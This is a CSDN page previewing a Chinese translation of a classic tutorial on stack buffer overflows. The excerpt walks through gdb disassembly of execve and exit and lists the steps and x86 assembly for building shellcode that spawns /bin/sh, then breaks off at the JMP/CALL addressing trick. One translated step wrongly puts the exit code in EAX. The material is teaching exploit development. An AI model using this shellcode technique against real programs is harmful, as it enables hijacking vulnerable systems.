没有合适的资源?快使用搜索试试~ 我知道了~
首页C语言编程:理解与防范堆栈缓冲区溢出
C语言编程:理解与防范堆栈缓冲区溢出
需积分: 14 3 下载量 64 浏览量
更新于2024-07-15
1
收藏 351KB DOC 举报
"缓冲区溢出的原理和实践文档深入探讨了C语言编程中的一种常见安全漏洞——堆栈缓冲区溢出。缓冲区,作为内存中的连续存储空间,用于存储同一类型数据的副本,如字符数组。在C编程中,数组可以是静态分配(在程序加载时固定位置)或动态分配(运行时在堆栈上)。动态缓冲区溢出指的是当程序尝试填充数据超过其预分配的内存空间时,可能会破坏堆栈结构,引发严重后果。 堆栈溢出的关键在于程序中的函数调用过程。在Intel x86架构的Linux系统中,当函数调用时,参数和局部变量通常会存储在堆栈上。如果一个函数接收的输入缓冲区过大,或者函数内部处理不当,可能导致堆栈帧超出其预期范围,从而覆盖相邻的堆栈区域,包括返回地址、函数参数和可能敏感的全局变量。这种行为可能导致程序控制流的改变,甚至导致代码执行权限转移,引发不可预测的行为,如执行恶意代码或数据泄漏。 术语如“践踏堆栈”、“堆栈垃圾化”、“堆栈乱写”和“堆栈毁坏”描述了不同类型的溢出效果,其中“践踏堆栈”是最常见的,通过修改返回地址,攻击者可以控制程序流程,引发异常退出或执行预设的攻击代码。理解这些概念需要对汇编语言基础和虚拟内存机制有所了解,同时熟练使用调试工具如gdb进行分析。 本文强调了近期缓冲区溢出漏洞的增多,并给出了若干示例,如syslog、splitvt等,提醒开发者重视此类安全风险。学习者需要掌握基本的进程内存组织,即文本、数据和堆栈区域的区别,以便更好地理解和防御堆栈溢出攻击。对缓冲区溢出的理解和预防措施对于编写安全的C代码至关重要,尤其是在处理用户输入和系统调用时,必须确保数据长度限制和边界检查的实施。"
资源详情
资源推荐
![](https://csdnimg.cn/release/download_crawler_static/12501212/bgb.jpg)
寄存器里, 并且使用软中断跳入内核模式.
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
例程的准备工作.
0x80002c0 <__execve+4>: movl $0xb,%eax
把 0xb(十进制的 11)放入寄存器 EAX 中(原文误为堆栈). 0xb 是系统调用表的索引
11 就是 execve.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
把"/bin/sh"的地址放到寄存器 EBX 中.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
把 name[]的地址放到寄存器 ECX 中.
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
把空指针的地址放到寄存器 EDX 中.
0x80002ce <__execve+18>: int $0x80
进入内核模式.
------------------------------------------------------------------------------
由此可见调用 execve()也没有什么太多的工作要做, 所有要做的事情总结如下:
a) 把以 NULL 结尾的字串"/bin/sh"放到内存某处.
b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word)
.
c) 把 0xb 放到寄存器 EAX 中.
d) 把字串"/bin/sh"的地址放到寄存器 EBX 中.
e) 把字串"/bin/sh"地址的地址放到寄存器 ECX 中.
(注: 原文 d 和 e 步骤把 EBX 和 ECX 弄反了)
f) 把空长字的地址放到寄存器 EDX 中.
g) 执行指令 int $0x80.
![](https://csdnimg.cn/release/download_crawler_static/12501212/bgc.jpg)
但是如果 execve()调用由于某种原因失败了怎么办? 程序会继续从堆栈中读取指令,
这时的堆栈中可能含有随机的数据! 程序执行这样的指令十有八九会 core dump. 如果 execv
e
调用失败我们还是希望程序能够干净地退出. 为此必须在调用 execve 之后加入一个 exit
系统调用. exit 系统调用在汇编语言看起来象什么呢?
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
系统调用 exit 会把 0x1 放到寄存器 EAX 中, 在 EBX 中放置退出码, 并且执行"int 0x80".
就这些了! 大多数应用程序在退出时返回 0, 以表示没有错误. 我们在 EBX 中也放入 0. 现
![](https://csdnimg.cn/release/download_crawler_static/12501212/bgd.jpg)
在我们构造 shell code 的步骤就是这样的了:
a) 把以 NULL 结尾的字串"/bin/sh"放到内存某处.
b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word)
.
c) 把 0xb 放到寄存器 EAX 中.
d) 把字串"/bin/sh"的地址放到寄存器 EBX 中.
e) 把字串"/bin/sh"地址的地址放到寄存器 ECX 中.
(注: 原文 d 和 e 步骤把 EBX 和 ECX 弄反了)
f) 把空长字的地址放到寄存器 EDX 中.
g) 执行指令 int $0x80.
h) 把 0x1 放到寄存器 EAX 中.
i) 把 0x0 放到寄存器 EAX 中.
j) 执行指令 int $0x80.
试着把这些步骤变成汇编语言, 把字串放到代码后面. 别忘了在数组后面放上字串
地址和空字, 我们有如下的代码:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
问题是我们不知道在要破解的程序的内存空间中, 上述代码(和其后的字串)会被放到
哪里. 一种解决方法是使用 JMP 和 CALL 指令. JMP 和 CALL 指令使用相对 IP 的寻址方式,
也就
是说我们可以跳到距离当前 IP 一定间距的某个位置, 而不必知道那个位置在内存中的确切
地址. 如果我们在字串"/bin/sh"之前放一个 CALL 指令, 并由一个 JMP 指令转到 CALL 指令
上.
当 CALL 指令执行的时候, 字串的地址会被作为返回地址压入堆栈之中. 我们所需要的就是
把返回地址放到一个寄存器之中. CALL 指令只是调用我们上述的代码就可以了. 假定 J 代
表 JMP 指令, C 代表 CALL 指令, s 代表字串, 执行过程如下所示:
剩余63页未读,继续阅读
![doc](https://img-home.csdnimg.cn/images/20210720083327.png)
![doc](https://img-home.csdnimg.cn/images/20210720083327.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://profile-avatar.csdnimg.cn/default.jpg!1)
boxerawy
- 粉丝: 1
- 资源: 6
上传资源 快速赚钱
我的内容管理 展开
我的资源 快来上传第一个资源
我的收益
登录查看自己的收益我的积分 登录查看自己的积分
我的C币 登录后查看C币余额
我的收藏
我的下载
下载帮助
![](https://csdnimg.cn/release/wenkucmsfe/public/img/voice.245cc511.png)
最新资源
- 中国微型数字传声器:技术革新与市场前景
- 智能安防:基于Hi3515的嵌入式云台控制系统设计
- 手机电量低时辐射真增千倍?解析手机使用谣言
- 56F803型DSP驱动的高精度大功率超声波电源控制策略研究
- ARM与GPRS结合的远程监测系统设计
- GPS与RFID技术结合的智能巡检系统设计
- CPLD驱动的低功耗爆炸场温度测试系统设计
- 基于FPGA的智能驱动控制系统:可扩展设计与工业网络协议
- 基于ATmega128和CH374的嵌入式USB接口设计
- 基于AT89C52的温度补偿超声波测距仪:高精度设计与应用
- MSP430F448单片机在交流数字电压表中的应用
- 提升变频器应用效率的12项实用技巧
- STM32F103在数字电镀电源并联均流系统中的应用
- PSpice仿真下的升压开关电源设计:拓扑分析与CCM稳定性提升
- 轻巧高效:MSP430主导的低成本无线传感器网络节点设计
- FPGA在EDA/PLD中实现LVDS接口的应用解析
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
![](https://img-home.csdnimg.cn/images/20220527035711.png)
![](https://img-home.csdnimg.cn/images/20220527035711.png)
![](https://img-home.csdnimg.cn/images/20220527035111.png)
安全验证
文档复制为VIP权益,开通VIP直接复制
![](https://csdnimg.cn/release/wenkucmsfe/public/img/green-success.6a4acb44.png)